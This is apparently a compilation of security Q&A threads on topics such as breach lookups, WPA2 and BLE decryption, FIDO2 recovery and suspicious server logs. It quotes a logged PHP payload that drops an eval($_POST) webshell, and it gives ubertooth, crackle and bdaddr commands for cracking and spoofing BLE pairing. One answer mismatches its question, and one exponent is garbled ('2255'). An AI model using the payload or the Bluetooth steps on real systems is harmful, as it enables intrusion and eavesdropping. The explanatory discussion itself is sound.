Search list of emails [HaveIBeenPwned] I want to search a list of emails, about 150 roughly on the https://haveibeenpwned.com/
website.

Obviously, I do not want to search each address individually, is there a way to upload a list, or format a list to search all addresses at once? I read the FAQ's and did not list anything remotely similar to my question.

If they are all from the same domain, and you have ownership of the domain, you can use Domain Search.

Otherwise, you can feed them into the API one-by-one, with curl, python requests, or likewise: GET https://haveibeenpwned.com/api/v2/breachedaccount/{account}

The API is rate-limited to 1 request every 1.5 seconds, so it may take awhile, depending on the size of your list.


Show confirmation popup before running any downloaded program in Windows 10 I often download files either using my browser or by torrenting. Few times, I encountered an attack where the torrented file was called something like movie.mp4.lnk and the target was set to run a powershell script using cmd.exe /c "powershell.exe -ExecutionPolicy Bypass ...". Fortunately, I always noticed the extension before running it, but I may not always be so lucky.

I'd like to configure Windows (I'm using Windows 10 Education) to show a confirmation popup whenever I attempt to run any potentially malicious file (exe, msi, cmd, bat and ps1 for starters) outside a list of defined folders. I'm comfortable with GPO and powershell, would like to avoid solutions using 3rd party programs if possible.

I already tried to configure AppLocker, but

it outright blocks the file, which is usually not what I want, as I often download legitimate programs,
for some strange reason, it allows .lnk files with scripts as target.

Ideal scenario:

I run notepad.exe, located in C:/Windows/System32, which is whitelisted as a system folder, and it runs without any confirmation.
I download a file by torrenting, called awesomeMovie.mp4.exe, to a media folder, maybe D:/Movies/Downloaded. After clicking it, a confirmation dialog pops up, and I have to explicitly click Yes before the program runs. If the file was instead called awesomeMovie.mp4, it opens in my media player without any popup.

You will have to be careful where you download and store files, but there may be a simple solution.

On your download directory, edit the security settings (right-click, Properties, Security tab, Advanced button) and add a deny entry for execution for Everyone. Do the same for any directory where you would store these files.

Media files are only read, not executed---the player itself is executed, but it executes from its installation directory.

If you download legitimate executable files, you would simply need to move them to another directory where execution is permitted. If you prefer AppLocker, it should be able to restrict execution based on directory paths as well.

A word of warning: Either approach may not work properly or consistently with *.lnk files, as Windows seems to have some weird, undocumented handling for them in some cases. You still need to be careful.


In depth security: splitting key in different places I use AES encryption on a website. At the moment, the key is stored in the source of the PHP script that does the encryption/decryption process thanks to openssl.
I know that it isn't secure, so I want to put parts of the key in different places:

first part in PHP source
second part as server environment variable
third part as htaccess env var
other places in case I remind them

I know that this proceeding doesn't add, at the end, to security, but it makes the cracking a little more difficult (considering that I can't use hardware devices), because the blackhat needs to get all the parts, not only the source of a script.
The question is about the safest way to do it.

splitting password in 3 parts, putting them in the different places mentioned and join the pieces when I need the complete key
combining them in other ways, like:

What do you think about it?
Thanks a lot for your useful help

Essentially what you're attempting to do is backdoor each user's account in a way that allows only the user and a single administrative user to access their data. This can be achieved as follows:

us  = User salt  = Random unique value (not the same salt as used for authentication)
as  = Admin salt = Random unique value (not the same salt as used for authentication)

uk  = User key    = pbkdf2(user_pass, salt1, 256, rounds)
dk  = Data key    = random 256-bit key
ak  = Admin key   = pbkdf2(admin_pass, salt2, 256, rounds)
P   = RSA private key
p   = RSA public key

uk' = Encrypted user key    = dk ^ uk
dk' = Encrypted data key    = RSA_Encrypt(dk, p)
P'  = Encrypted private key = AES_Encrypt(P, ak)

m = message
iv = initialisation vector (random unique value)
c = ciphertext = AES_Encrypt(m, iv, dk)

We then store uk', dk' and iv with the data record we're encrypting. We store us with the user account record. We also store P' and as with our admin account record. The public key P can be stored in the code.

The user decryption works as follows:

Compute uk from the user password and us.
Xor uk' with uk to retrieve dk.
Decrypt c using iv and dk, giving us m.

The admin decryption works as follows:

Compute ak from the admin password and as.
Decrypt P using AES_Decrypt(P', ak)
Decrypt dk using RSA_Decrypt(dk', P)
Decrypt c using iv and dk, giving us m.

Note that when I say "encrypt" and "decrypt" in reference to RSA, it's not really encryption, but it is more or less semantically equal.


Detecting Virtualization from web browser is that possible active adversaries who injecting malicious iframes (root kits), without Flash, Java or any other plugin detect that we using virtualization by javascript or timing differentials and hide their iframes for VM visitors ?

Edit: does browser attacks effect QEMU as well ?

Yes...

Google VM detection and you will see that there are numerous ways to detect environment variable signatures that are giveaways to being inside of a VM. Most of these can be done from JS, some more difficultly than others, but still done. Bottom line, detecting you are running in a VM is really not too hard and whether you are running JS or not is not the issue.

Here is an article on exactly how one researcher showed you could using MAC address detection.

http://carnal0wnage.attackresearch.com/2009/04/detecting-vmware-with-javascript-or-how.html


What is required to decrypt other device's WPA2 packets? As the title specifies, I'm trying to understand the minimum requirements for a utility like Wireshark to decrypt the packets from another device on a simple home network using WPA2 personal (AES).

Lets say packets between Device B and the router are captured on Device A through Wireshark's monitor mode. Just making sure, but does Device A have to be already connected to the network to capture these packets? (I believe the answer is no?)

As far as my searching and understanding, at minimum you need to have the preshared key/wireless password as well as have captured the EAPOL packets between the router and Device B to decrypt the packets from the scenario above. Is this correct, or is more/less needed?

Lets say packets between Device B and the router are captured on Device A through Wireshark's monitor mode. Just making sure, but does Device A have to be already connected to the network to capture these packets? (I believe the answer is no?)

The answer is, indeed, no.  In monitor mode, you have a radio receiver and hardware that turns the radio signals into 802.11 packet headers and payload and supplies them to the host, regardless of whether you're associated with the network.  Obviously, you have to be "connected to the network" in the sense of the radio receiving on the channel that the network is using.

  As far as my searching and understanding, at minimum you need to have the preshared key/wireless password as well as have captured the EAPOL packets between the router and Device B to decrypt the packets from the scenario above. Is this correct, or is more/less needed?

That's correct (for WPA/WPA2 personal).  See the Wireshark Wiki's "how to decrypt 802.11" page for more details.


What is the equivalent of "forgot password" in password-less login applications using FIDO2 / Webauthn or later? I'm assuming instead of saying "forgot password?" the text would say "lost your key?" or "don't have your device?". But what would the process of secondary access look like in the future when passwords are ..ahem.. dead?
Would sending a login link to emails still be the primary method of access? Although, you'd need your FIDO2 device for accessing emails in this fictional future. Would you perhaps need to use multiple security keys as backup (equivalent to TOTP one-time recovery codes) ?

There are legitimate reasons for why a user may not have their authenticator with them, such as:

They have lost access to their authenticator (lost, stolen, etc...)
Their authenticator broke
Their authenticator is not compatible with the device they try to access your site from

There are several possible ways to react to this now, and it's best to offer the user several options:
Sign-in With a Different Authenticator
That could be a Time-Based One-Time Password (TOTP), as is supported in multiple "authenticator" apps, or a hardware-based key like a YubiKey. Certain mobile phones also support similar hardware-backed solutions.
This solution works well if you encourage you user to register several different methods, so in case one is unavailable, another one can be selected. However, if your user only registered, say a TOTP app and then their phone takes an unexpected fall, that may be an issue.
Offer Printable Backup Codes
One option several platforms offer is to create a set of "backup codes", which are long, automatically generated codes. Users are encouraged to print them out and keep them in a safe place. The advantage of this is that it's pretty low-tech, so it's hard for a piece of paper to break or get hacked, and users themselves can choose how many copies they'd like to make. More copies offer higher availability, but also increase the risk of an adversary gaining access to the copies.
Of course, this solution also requires the user to be prepared beforehand. Hindsight is 20/20, as they say.
Sign-in On Another Device
If you are authenticated on your mobile device and wish to authenticate on, say, a desktop device, then one possibility is to let the already authenticated device generate a one-time code. The process works as follows:

User "foobar" wishes to log into example.com on their laptop
User does not have any compatible authentication methods on their laptop
User selects to authenticate with an already authenticated device (e.g. their phone)
Application generates a link like example.com/auth/5GH8D3
User types this link into their phone, where they're already authenticated
The website returns a one-time code like 8DFG 66TN
User enters this one-time code in their laptop and is authenticated

The advantage of this is that, as long as at least one device has access, other devices can gain access again as well, which allows the user to register more authenticator options.
Offer to Contact Them Via Already Verified Channels
Some users may simply be out of luck and only have one authenticator, and that may break. In that case, contacting the user via already verified channels, such as e-mail, may be an option. However, users should expect significant delay here, like one week or so. In this case, users should first be notified via every possible means that an account-recovery process was initiated and that, if they did not initiate that, they should immediately contact support.
After 7 days or such, users contacted by support must show some sort of proof that they own the account. This differs from application to application, but Steam for example asks you about your last purchases.
Naturally, this will also allow malicious actors to gain access to the account, so it should be possible for the user to disable this option. Just make sure that you add a big, bold warning sign like WARNING! IF YOU DISABLE THIS OPTION AND LOSE ACCESS TO YOUR AUTHENTICATOR, THERE IS NO WAY TO RECOVER YOUR ACCOUNT. BY SELECTING THIS OPTION, YOU EXPLICITLY ACCEPT THE RISK THAT YOUR ACCOUNT MAY BE LOST WITHOUT ANY RECOVERY! You know, something like that...


What authentication threat data exists? I recently read an article that said there was not much data on which authentication threat vectors were actually being exploited in the real world. Eg what percent of password theft was by shoulder-surfing vs brute-force-trying vs keylogging?

Does anyone know where I could find any data, anecdotal or statistical?

Could we reverse engineer at least some data from known malware or other data we do have such as network traffic? Is there any way to share this kind of data anonymously (since attribution of "you've been hacked" seems to be a major reason data is not shared).

I think if you have a need to work in this area, that the best bet is to start doing incident detection on your own network, and work on building coalitions that help you get NDA-level information with your peers.

There is no one right answer across the board.  The "total # of shoulder surfing attacks" vs. "total # of brute force passwords" is going to be pretty diffcult to get hard statistics numbers.  This is not an area that a researcher can address with a Gallup poll, since if you call an IT security professional and ask, they will either hang up or report YOU as the security incident.

Add to it that industries will vary widely - there are some common threats out there, but the scope of attacks CAN target different entities or industries.

I'll say that this fits closely with the IT areas of Incident Detection, Respose and Prevention.  Large scale systems tend to use some COTS based solution to detect the kind of attacks you mention - either network stats like bruteforce password attempts, or signs of the outcomes of social engineering.  In a mature system, they don't just respond to the crisis, but ask "how can we do better?", so they aggregate and compare the data in some way.  How exactly is the secret sauce that won't cross security barriers without some well-understood agreements.

The best data I've seen comes from pay-for services - my favorite is the ACSC - the Advanced CyberSecurity Center - where member banks do share this sort of information.  There's Gartner and Forrester, too, who are less specific, less easy to get detailed info from and less fully targeted at security.

There's not much public info I'd be trusting in this area - my first questions would be "how did you collect it?", "from who?" and "what where they measuring?"

This is definitely a case where how you ask the question will influence the answer.


Symbiote Counter-Attack Detection I saw this video on YouTube about hacking Cisco phones (and other embedded systems) and I was overjoyed when the presenter not only hacked, but presented a security solution. Intrigued, I started reading the research paper "Defending Embedded Systems with Software
Symbiotes" by Cuit et al., where his solution called Symbiotes, is presented.

I have a few questions regarding the Symbiotes presented in the paper:

The research paper mentions multiple times that you could
potentially install two Symbiotes on a single device. What would be the advantage of installing more than one Symbiote?
When discussing attacks against the installed Symbiote, the paper mentions that the attacker would have to compare an image of the memory of the embedded system with the Symbiote modified system that it is attacking and mentions that this would cause the attacker to be detected because of large CPU and I/O usage. Why can't an attacker just slowly copy an image over the network to avoid detection?

From the paper you quote, additional Symbiotes would both complicate the code rewriting scenario, making disabling them theoretically more difficult; and the Symbiotes could be made to protect one another, making disabling them practically impossible.

The attacker would need to get a precise image of all their entry points and disable them all in one fell swoop, before any of the Symbiote's integrity routines can execute enough to identify the threat (remember, they're multitasked - the attacker possibly isn't, and might conceivably have available for a brief instant the whole CPU power).

To do this, though, the attacker would need to do what you propose - to slowly copy the image for analysis. In the proposed scenario, this is unfeasible, because the code performing the copy would be identified long before it could do anything dangerous. It needs to execute on the victim machine, and that machhine is Symbioted. Copying the image slowly just gives the Symbiote more time in which to notice the copying instructions, while copying fast is going to attract attention to the copying itself.

I'm not too clear on how two Symbiotes might protect one another though - it seems to me that this would require some way for the second Symbiote to become known (and trusted) to the first, which might hint to a possible attack vector. But this might be an oversight on my part: I haven't studied the paper in depth.

A possible way of circumventing security (especially if the Symbiote is not executing very fast) could also be offered by this:

  The SEM injection process requires a handful of parameters specic to
  the target firmware, including a list of randomly chosen control-flow
  intercept points and locations of usable memory. All such parameters
  are computed automatically by a simple single pass analysis of the
  target binary

Ideally the attacker knows the target system and must be thought to have a copy of the Symbiote injector. Therefore, he can run himself the same single pass analysis remotely beforehand, and come up with a large, but finite list of intercept points together with their original content (which the attacker may garner from an original image of the victim OS). Large as it may be, it will be certainly much smaller than the whole victim OS image.

Therefore, as a first stage, he could engineer a "desymbioting" missile composed of an exploit together with the code to restore all those control points to normalcy. Such code would contain a long list of memory locations (easily compressible with a delta strategy) together with the content to poke therein.

If such code were to execute between a Symbiote check and the next, and if it did not trigger inside a Symbiote execution call (which would probably result in a crash), then all Symbiotes in the target system would be rendered inert. This probably poses an upper bound to what a Symbiote may do between two consecutive calls to its Manager - calls must be lean and fast, in order to detect the incoming attack before it has completely deployed.

Using actual numbers from the paper, around 75K functions are deemed to be useable by the Doppelganger symbiote. This is likely to require 75k addresses and 75k DWORDs (presumably) to be defused. 75k addresses in 35 Mb of space are about half a kilobyte apart on average. It is also likely that the hooked areas have a reduced variability - i.e., they are very similar preamble codes. In this case the attacker would need to transfer only about 75k address deltas - around 150 Kb - and maybe the same amount of data. Processing 300 Kb of information isn't going to need a very long time, and a 300 Kb attack package, while awkward, is not unreasonable.

Possibly, the Symbioting operation might also perform some polymorphic surgery on the host OS, to increase the data required by the attacker for a "blind restore". This would require the injector not to be OS agnostic, though. The Manager might choose a large branchless code section between two of its activation points, and replace it with another emergency activation mechanism. The first activation point would set it back to the original code, which would execute, and would be again replaced by the emergency code by the second activation call. If the attacker were to remove all activation points, the emergency code would never get swapped out, the next execution cycle would activate it, and the attack would be thwarted.

While the number of suitable code sections might be comparatively small, the attacker finds himself against a sort of Merkle puzzle - he does not know which code section has been booby-trapped, so he has to process all code sections; and they are large. This inflates the code size requirements for a successful attack, bringing it back towards the unfeasible value of "a copy of the original unSymbioted image".


ISP role with VPN & VPS? I have notice online that many people get a VPN so that ISP can not view the sites you visit, create a profile of you and so on.

Reading How safe is it to connect to Internet through VPN?, Jonah answers that "You need to think of connecting to a VPN like walking over to a physical network and plugging your computer into a switch there.".

In that if you are in x location with x ISP, and connect to the y VPN/VPS location with y ISP aren't you still getting data recorded? Wouldn't logging in to facebook where your profile name appears in the url even identify you more to y ISP?

You are correct.

That's why you should also use SSL, choose your VPN location/ISP wisely, or even use a mixnet.

Any good web based encryption or secured medium (HTTPS,SSL,TLS,SSH Tunnel,etc) will protect the URL and content,however the ISP will still know where you connected to (ie. they'll know the VPN node you're connected to, not the end destination).
If you choose your ISP wisely you can evade data retention (e.g. in Austria only ISPs who reach a certain annual turnover have to implement data retention (unless you are not worried about 3-letter-agencies eavesdropping somewhere between your ISP and the server).
If that's not enough, you can use https://www.torproject.org but there are a lot of things you can get wrong when configuring it (you might still reveal your identity to the exitnodes, they might try to DO MITM, etc.) You will find all the information you might need on their website though.
If data contents going through the ISP have to be concealed, you do not need to use an expensive VPN. SSH tunneling through a random rented shared server or using a trusted & encrypted session to a proxy work just as fine. Research on SOCKS5 proxies for example.

Did this answer your question?


How is knowing a specific collision of hashing algorithm useful? Not too long ago the first collision of the SHA-1 was found. If I get this right, that means that someone found two different inputs that give the same output. Two different messages give the same output. That this is even possible is trivial since the output always has a fixed length. From what I understand and hear, finding a collision is a major problem for a hashing algorithm and signals that the algorithm is more or less dead.
While I think I can see that there might be different types of collisions, my general questions are: How is finding a collision a problem? How can this be exploited?
It is not clear to me how just finding two random messages with the same hash will allow someone "easily" to for example sign messages or break hashed password files (ok so maybe storing hashed passwords isn't a good idea anyway). If I, for example (maybe oversimplified?), sign a message and you want to sign another message with the same hash, how would the knowledge of a specific collision help you?
EDIT: I see the question/answer here: What are the implications of a SHA-1 collision being found? but I don't think it answers my question. I understand that "It would be possible, in theory, for an attacker to generate two executable files which have the same SHA-1 hash, but perform different things when run." for example. But how likely is that? How does knowing a specific hash make tis possible? (I updated the title of the question).

The question that @PwdRsch linked to does cover your question, but I'll give a more targeted answer:

Imagine you and I are negotiating a contract. Let's say I come up with two documents that have the same hash value, say

  I agree to pay Mike Ounsworth $1,000 for these services.

And

  I agree to pay Mike Ounsworth $1,000,000 for these services.

Then I get you to sign the first one, but since the hashes are the same, you have also signed the second one.

I would create these two documents by playing with different wordings, punctuation, non-printing characters, etc, until I get a collision. For an unbroken hash function with a 256 bit output, I would have to try on average 2255 permutations before finding a collision. This would cost me way more in electricity than the crime is worth. Any shortcuts that allow my to do this in less time would be considered a vulnerability in the hash function, and it would be retired.

By a similar argument, storing hashed passwords is fine as long as the hash function is not broken.


Need to protect passwords (or 1fa) in the context of 2fa I am trying to get some clarity on this. I am not looking at personal or risk mgmt perspectives.

Why do we need to protect passwords (or 1st factor) in the context of 2fa (or multi factor authentication) because hacker won't have second factor.

A similar but not exact is to trivialize 1st password to say abc123 and argue hacker won't have 2nd factor ?

What are some technicalities not to let guard down on passwords in the context of 2/mfa?

You've misunderstood the meaning of two factor authentication. If you remove one factor (by trivialising it), then you no longer have two factor authentication, you have one factor authentication (just with a different form of factor - something you have/are, instead of something you know).

You imply that the benefit of 2FA is the strength of the second factor. If that were the case, then you don't need 2FA - simply implement the second factor by itself. No, the benefit of 2FA is the redundancy of having two factors at the same time.

If a hacker breaks one of the factors, you are still protected by the other. E.g. if your internet banking security device gets stolen, you are safe because you still have a password. Alternatively, if someone sees you type your password, you are safe because you still have your device. You've reduced the attack vector to scenarios where the attacker manages to accomplish both tasks.

If you trivialise one of the factors, you might as well not bother with the scheme in the first place.


How to choose Chrome extensions with security in mind I find myself more and more in need of using Chrome extensions, but the appallingly broad and intrusive permission requirements prevent me from installing any of them.

Pretty much every extension I see requires a "Read and change all information on all websites you visit" and other unreasonable requests.

Is there a way to install an extension without actually granting everything it wants?
Is there a database of trusted extensions that underwent rigorous auditing? Other ways to identify them?
Any specific protocol I should follow when choosing and installing an extension to ensure security?
Are there extensions that are endorsed by Google and have their seal of approval? How to identify them?

Is there a way to install an extension without actually granting everything it wants?

Only for optional permissions, but "Read and change all information on all websites you visit" is usually required.

  Is there a database of trusted extensions that underwent rigorous auditing? Other ways to identify them?

No, at least none that are advertised by Google.

  Any specific protocol I should follow when choosing and installing an extension to ensure security?

"Read and change all information on all websites you visit" is actually common. If it requires other permissions, such as "Capture content of your screen", then you should be more worried. There are some more here:
https://developer.chrome.com/apps/permission_warnings

Make sure that the permissions make sense for the extension. Reading all website data probably doesn't make sense for a new tab page. Reading the code is always best.

  Are there extensions that are endorsed by Google and have their seal of approval? How to identify them?

Some extensions are published by Google. Those are the only ones they endorse.


Key stretching approaches I've seen that a number of key stretching algorithms and they involved increasing the number of operations needed to compute the key(i.e. the number of rounds within a hash function). But, I wonder if these approaches are more secure as they increase the number of operations needed by a constant amount not taking into account the computational resources of the device running the implementation.

Wouldn't it be more secure to have the necessary workload increase as a function of the available computing resources?

Or alternatively, without increasing the number of rounds a small challenge could be solved(i.e. guess 32-bit challenge) and incorporating it in the key?

You are correct that tailoring a key stretching algorithm's strength to the available hardware resources is superior to using a fixed strength. This is actually implemented in some cases, such as the LUKS disk encryption standard, which will use approximately two seconds-worth of PBKDF2 key stretching.

Sometimes this is not possible. For example, an external storage device may be used on multiple machines with varying hardware specs. What takes two seconds on a powerful computer might take half a minute on a cheaper, lower-end system. In these cases, a fixed difficulty for key stretching is often required, using a difficulty that is low enough that low-end computers can perform the operations fairly quickly, while still being high enough to be a pain for attackers.


Why does nmap remotely show when I have port 6969 open, but not others? Specifically, I was running a node.js application on port 6969 which I thought was strictly local. I discovered this was not the case when I ran nmap <myip> from a different computer and found that it showed port 6969 open as a service called acmsoda. This is strange in the first place, since acmsoda seems to be a torrenting related service, of which I don't have any relevant software installed. What's weirder though, is that I changed the port of my node.js application to 6968 and it now no longer shows up remotely using nmap (although it is still remotely accessible).

Is there something about port 6969 on OSX that makes it unfiltered? Should I be weary of using this port?

There are no such things as local ports. Whether a port is is accessible from localhost only or from outside depends only on the interface it is bound to.
So if you bind a port to IP 127.0.0.1 then it's attached to lo(opback) interface and that is local-only. If you bind the port to all interfaces with IP 0.0.0.0 then it is accessible from everywhere, unless there is a firewall blocking the access.
The reason why nmap is saying 6969/TCP is acmsoda is because nmap has a built-in list of default ports for common services. It is not even trying to guess what the actual service is. Similarly if you move your standard SSH port (22/TCP) to another port, nmap fails to identify the service properly. You have to explicitly tell nmap to try and identify a service in a port and its version number.
I'm not OSX guy so don't know how the firewall is there by default but in all cases it's recommended to close all incoming ports by default and only open ports for needed services case by case.


Security of Bluetooth Low Energy (BLE) link-layer encryption Is Bluetooth Low Energy (BLE)'s link-layer encryption secure against an attacker who eavesdrops on some random BLE connection between two devices, but has not eavesdropped on the first connection between the two devices?

Background: When the two devices are initially paired, they derive a long-term key using a key-exchange protocol.  Anyone who can eavesdrop on that initial pairing can learn the long-term key, but for purposes of this question, assume the adversary didn't eavesdrop on that initial pairing (e.g., because the adversary wasn't nearby).  The two devices then use this long-term key to encrypt data sent on all future connections.  BLE uses AES-CCM for link-layer encryption, which should be secure if the long-term key is unpredictable.

However, at WOOT 2013, Mark Ryan published a paper speculating about a possible attack against BLE.  In his attack, the attacker injects a forged LL_REJECT_IND message to one device.  Apparently, this will cause the recipient to forget the current long-term key and force a new key exchange to derive a new long-term key.  The attacker can eavesdrop on this new key exchange, learn the new long-term key, and decrypt all subsequent traffic.  At least, that's what Ryan speculated.

Does this attack actually work?  Is BLE's link-layer encryption insecure, even if the attacker didn't capture the initial pairing between the two devices?

Reference: Mike Ryan, "Bluetooth: With Low Energy comes Low Security", WOOT 2013.  https://www.usenix.org/conference/woot13/workshop-program/presentation/Ryan

The attack actually works. I've been playing with the Ubertooth One that I acquired at DEF CON five years ago and have tested it against a variety of IoT devices that implement the BLE standard. Mike Ryan's paper is correct.

From the book, "Abusing the Internet of Things", the author discusses Mike Ryan's work and the implementation with the Ubertooth One.

ubertooth-btle -f -c ble.pcap

The author also discusses using the LightBlue iOS app for further troubleshooting, as it can copy Bluetooth devices and emulate them. It takes some work with BLE because it uses many channels, so turning the interfaces on and off during the network capture assessment is highly recommended.

Standard BLE encrypted data uses a key-exchange protocol by selecting an AES-based temporary key (TK). Mike Ryan released the crackle tool to brute force this key.

crackle -i ble.pcap -o decrypted-ble.pcap

This technique is not effective against OOB (128-bit optional key also defined by BLE) mode, however, as seen on the ubertooth mailing list, the development team is working to gather samples and troubleshoot the possibilities of breaking OOB mode.

A well-known blog on payment technologies and associated infrastructure has also been speculating on the demise of Bluetooth security, including some comments about breaking BLE OOB mode. 12/29/15 update: There is more discussion about BT 2.1. Also came across btproxy, which will hopefully support BTLE soon. Another tutorial I came across is entitled Sniffing and Cracking Bluetooth with the UbertoothOne.

However, (as seen in the book, "Hacking Exposed Wireless, 3rd Edition") the idea of repairing Bluetooth was first publicized in the paper “Cracking the Bluetooth PIN” by Yaniv Shaked and Avishai Wool (http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05). An adversary can use a “repairing attack” to manipulate the stored pairing status between two devices by impersonating the BD_ADDR of one of the two devices.

The tool bdaddr is the primary implementation of this technique.

gcc -obdaddr -lbluetooth bdaddr.c
hciconfig hci0
sudo bdaddr -i hci0 <new bdaddr>
(asks to reset device now)
sudo bccmd -d hci0 warmreset
(check that it changed)
hciconfig hci0
sudo hcitool cc <bdaddr of target to repair to>
sudo hcitool enc <bdaddr target again> enable

To return back to a clean slate

sudo bccmd -d hci0 coldreset
hciconfig hci0


Does HTTP:// to HTTPS:// redirection means strict HTTPS from server when I try to connect to some websites using http:// (notice the absence of s) , my client end up with https://.

I use python requests for this purpose, which simulate a client behavior. It performs the redirection and show me the final URL after redirection, if any.

Example: when I input http://facebook.com the get requets end up at https://facebook.com.

Does this mean the website DOES NOT accept http:// requests?

Python requests almost certainly does not use an https preload list, so the server must be responding to the http request with a redirect.

Does the server "accept http:// requests"? That's a trick question. I could answer: yes, because if the server did not respond to http requests at all, then it would not receive your request and could not respond with a redirect. So it must be listening on port 80 and reading your http request in order to be able to respond with a redirect. But if you are asking whether the server performs the requested action when you request an action over http instead of https, then the answer is probably no. Web servers are usually configured to just return a redirect and the client will just retry the request at the given location.

You also tagged your question with Firefox. Browsers might have features enabled that store a list of websites that are known to work with https, and Facebook would be on there. Because of this, browsers might not connect over http at all, because they don't need the redirect: when you type http, they will just connect over https, without first contacting the server and getting a redirect.


Can Hacker Post data through GET request? Today we have received following request in the Apache access logs file.

"GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo%20'-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php%20eval($_POST%5Bshine%5D);?%3E');echo%20'%7C%3C-'; HTTP/1.1" 200 42303

As clearly seen from above request URL, the hacker is trying to attempt POST the data or file through GET request and surprisingly he has got 200 Status Code in Response status.

Which type of hacking attempt is it?

Note:- For Security reason, we have blocked all POST request except some forms URL on our server.

So any hacker who is trying to post some malicious data on our server will get 403 Status code in Response

above hacker POSTED Some data through GET Request and he has got 200 Status Code in Response.

Please help me in knowing which type of hacking technique is this?

The hacker does not POST the data. POST is a HTTP method as much as GET, HEAD, OPTIONS and similar. Contrary to GET the POST method can have a request body to transfer the data. Still, it is possible to transfer data within a GET request too, for example inside the query string of the URL (i.e. the part starting with ?) like you see in the logs. There is nothing special about it and in fact this is the way data are transferred if you use a HTML form and don't explicitly specify a method.
And since this is just normal behavior the server will return a successful response code.


How can Key Compromise Impersonation be mitigated? This paper describes a successful attack on TLS called Key Compromise Impersonation.  It states that the attack can be mitigated thus:

Disable non-ephemeral (EC)DH handshakes
Set appropriate X509 Key Usage extension for ECDSA and DSS certificates
Disable specifically the KeyAgreement flag

How can I identify which ciphers to disable for (1), and how do I make the changes to my certificates in (2) and (3)?  If necessary, please assume I'm using OpenSSL and Apache.

1) Look at the seventh page of the document. There is a list of them:

TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA
TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DH_DSS_WITH_AES_128_CBC_SHA
TLS_DH_RSA_WITH_AES_128_CBC_SHA
TLS_DH_DSS_WITH_AES_256_CBC_SHA
TLS_DH_RSA_WITH_AES_256_CBC_SHA
TLS_DH_DSS_WITH_AES_128_CBC_SHA256
TLS_DH_RSA_WITH_AES_128_CBC_SHA256
TLS_DH_DSS_WITH_AES_256_CBC_SHA256
TLS_DH_RSA_WITH_AES_256_CBC_SHA256
TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA
TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA
TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA
TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_DH_DSS_WITH_SEED_CBC_SHA
TLS_DH_RSA_WITH_SEED_CBC_SHA
TLS_DH_RSA_WITH_AES_128_GCM_SHA256
TLS_DH_RSA_WITH_AES_256_GCM_SHA384
TLS_DH_DSS_WITH_AES_128_GCM_SHA256
TLS_DH_DSS_WITH_AES_256_GCM_SHA384
TLS_ECDH_ECDSA_WITH_NULL_SHA
TLS_ECDH_ECDSA_WITH_RC4_128_SHA
TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDH_RSA_WITH_NULL_SHA
TLS_ECDH_RSA_WITH_RC4_128_SHA
TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384

Also, looking at your versions, you should disable ephermal DH handshakes (and allow only ephermal ECDH), because you cannot supply in this version your own DH prime, so you will use the common insecure one.

2, 3) You will have to contact your certification authority. You cannot modify the certificate.


Can you compromise a phone with a SIM card? If you are traveling abroad and buy a prepaid SIM card to use in that country in your phone, what kind of vulnerability are you exposing yourself to? Can a malicious SIM access information on my phone? Can it MITM all my interactions with the cell network?

Practically speaking, is it risky to buy a SIM at a normal store in Western Europe? Even if a SIM could be malicious, it would have to be manufactured as such, or counterfeit. Does that seem likely?

Apologies if this is not the type of question you want on this Stack Exchange site.

Possibly related: Can a SIM card propagate malware?

As you probably know, a SIM card is a fully functional computer in itself, which communicates with the phone (or other devices) over predefined commands.

The first big problem that is practically a big "yes": Phone and card firmware/OS are mostly not opensource, but it's safe to assume that all they have (not publicly known) security bugs, that enable one device to do more than it should on the other side.

So, phones, can infect sims, and sims can infect phones; either to control more, or to spread. Malware on phones can come eg. from apps, pre-installed in the factory (more often than you might imagine) either by government or "normal" criminals, and so on. But on the sim card?
"Good" sims often have very limited resources (memory and so on). But as described later, that doesn't matter much, because the program on the sim is very well able to request instructions from any remote location - it doesn't need to contain the full malware. About sims specifically made with malware, well ... what it can do described later.

About the risk is western Europe:
If you're worried about government level, well ... you can't trust anything. If "small" criminals are the problem: Avoid prepaid card packages that are sometimes sold in supermarkets. To start with, it's easy to go there and switch the good package in the shelve with something else. Shops by the provider itself should be ok - not only there's no public access to anything, but they sometimes even write the software and configuration on an empty card directly if you buy it (so no chance to mess with stored cards).

And now about what modern sims are capable of ... disregarding old ones (the phone-sim interface evolves over time), and assuming there are no security bugs, there's still plenty a card is allowed by the standard. This includes eg. (but is not limited to):

Sending and receiving arbitrary internet data (UMTS/HSPA/...), messages (sms, mms, push messages), phone calls, infrared and/or bluetooth data from/to arbitary remote peers
Querying informations about the connected cell network, and instructing the phone to switch to something else
Querying GPS information (and of course, doing arbitary things with it, eg. logging, sending to a remote server, ...)
Sending arbitary lowlevel control commands to the availabe modems in the phone
Displaying text and/or images on the screen, playing sounds, and/or adding commands to the phones menu
Instructing the phone to open websites in its browser

Meaning, yes, even without security bugs, MITM and many other things are possible.


Getting a suspicious error in apache error.log (DJANGO) Using django, I get the following error showing up in my apache errorlog:

Invalid HTTP_HOST header: 'kyortisdzheykob.ru'. You may need to add u'kyortisdzheykob.ru' to ALLOWED_HOSTS.

But I do not have any mention of this host anywhere in my code. Could someone please explain what is going on here? Should I be worried?

